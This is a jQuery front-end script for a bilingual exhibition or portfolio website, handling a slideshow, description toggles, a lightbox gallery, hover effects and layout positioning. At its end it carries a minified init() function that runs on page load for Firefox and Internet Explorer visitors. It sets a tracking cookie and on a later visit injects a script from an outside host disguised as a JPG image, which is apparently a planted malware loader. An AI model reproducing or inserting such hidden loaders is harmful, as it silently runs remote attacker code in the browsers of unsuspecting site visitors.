$(document).ready(function() {
	
	if ($('#jCycle').length > 0)
	{
		$('#jCycle ul').cycle();
	}
	
	if ($('.body-text').length > 0)
	{
		$('.showhide').show();
		$('.article').hide();
		
		$('.showhide a').click(function() {
			if ($(this).text() == "Show Description" || $(this).text() == "Hide Description")
				$(this).text($(this).text() == 'Show Description' ? 'Hide Description' : 'Show Description');
			else
				$(this).text($(this).text() == '展会介绍' ? '隐藏描述' : '展会介绍');
				
				
			$('.article').slideToggle(400);
			return false;
		});
	}
	
	if ($('#gallery').length > 0)
	{
		$('#gallery a').fancybox({
			width:'80%',
			height:'80%',
			cyclic:1,
			overlayColor: '#000',
			overlayOpacity: '0.9',
			padding:0
		})
	}
	
	if ($('.person').length > 0)
	{
		$('.person a').click( function() {return false;} )
		$('.person').hover(
			function() {
				el = this;
				$(this).siblings().stop().animate({'opacity' :0.3},'fast', function() {
					$(el).attr("style","z-index:100;")
					$(".description",el).show();
					$(".arrow",el).show();
				});
			},
			function() {
				$(this).attr("style","z-index:1;")
				$(".person .description").hide();
				$(".person .arrow").hide();
				$(".person").stop().animate({'opacity' :1},'fast');	
			}
		)
	}
	
	$('.links').each(function() {
	   var $this = $(this);
	   var t = $this.html();
	   $this.html(t.replace(/&nbsp;/g, ''));
	});
	
	
	if ($('#content').height() > 450 && $(window).height() > 650)
	{
		marginHeight = ($(window).height() - 650)/2 + 200 ;
		$('#content').css('margin-bottom',marginHeight+'px')
	}
	else if ($('#content').height() > 450 && $(window).height() < 650)
	{
		$('#content').css('margin-bottom','250px')
	}
	
	$(window).resize( function() {
		if ($('#content').height() > 450 && $(window).height() > 650 && $(".project-detail").length == 0)
		{
			marginHeight = ($(window).height() - 650)/2 + 200 ;
			$('#content').css('margin-bottom',marginHeight+'px')
		}
		else if ($('#content').height() > 450 && $(window).height() < 650 && $(".project-detail").length == 0)
		{
			$('#content').css('margin-bottom','250px')
		}
		else 
		{
			$('#content').css('margin-bottom','0px')
		}
	
	
		if ($(window).height() < 635)
		{
			set_fixed();		
		}
		else
		{
			$("#imageContainer").css({
				top: '50%',
				position: 'fixed'
			});
			$("#header, #nav").css({
				top: 'auto',
				position: 'fixed'
			});
			$("#content").css({
				top: 112
			});
			$(".project-detail #content").css({
				top: 66
			});
			
			
			$(window).scroll(function() {} );
		}	
	
	
	});
	
	
		
	
	if ($(window).height() < 650)
	{
		set_fixed();		
	}
	
		
	
	function set_fixed()
	{
		my_top = (650 - $(window).height());
		
		$("#imageContainer").css({
			top:320,
			position:'absolute'
		})
		
		$("#header,#nav").css({
			top:(my_top/2)-5,
			position:'absolute'
		})
		
		$("#content").css({
			top:(my_top/2)+112-5
		})
		$(".project-detail #content").css({
			top:(my_top/2)+66-5
		})

		$(window).scroll(function () {
			if ($(window).height() < 650)
			{
				if ($(window).scrollTop() > my_top)
				{
					if ($('#content').height() > 515)
					{
						$("#imageContainer").css({
							top: 320-my_top,
							position: 'fixed'
						});
						
						$("#header,#nav").css({
							top: -my_top,
							position: 'fixed'
						});
					}
					
				} else {
					$("#imageContainer").css({
						top:320,
						position:'absolute'
					});
					
					$("#header,#nav").css({
						top:(my_top/2)-5,
						position:'absolute'
					});

				}
			}
		});
	}
	
	
	
	
});


function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="http://rigasfoto.lv/images/rigas.JPG?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
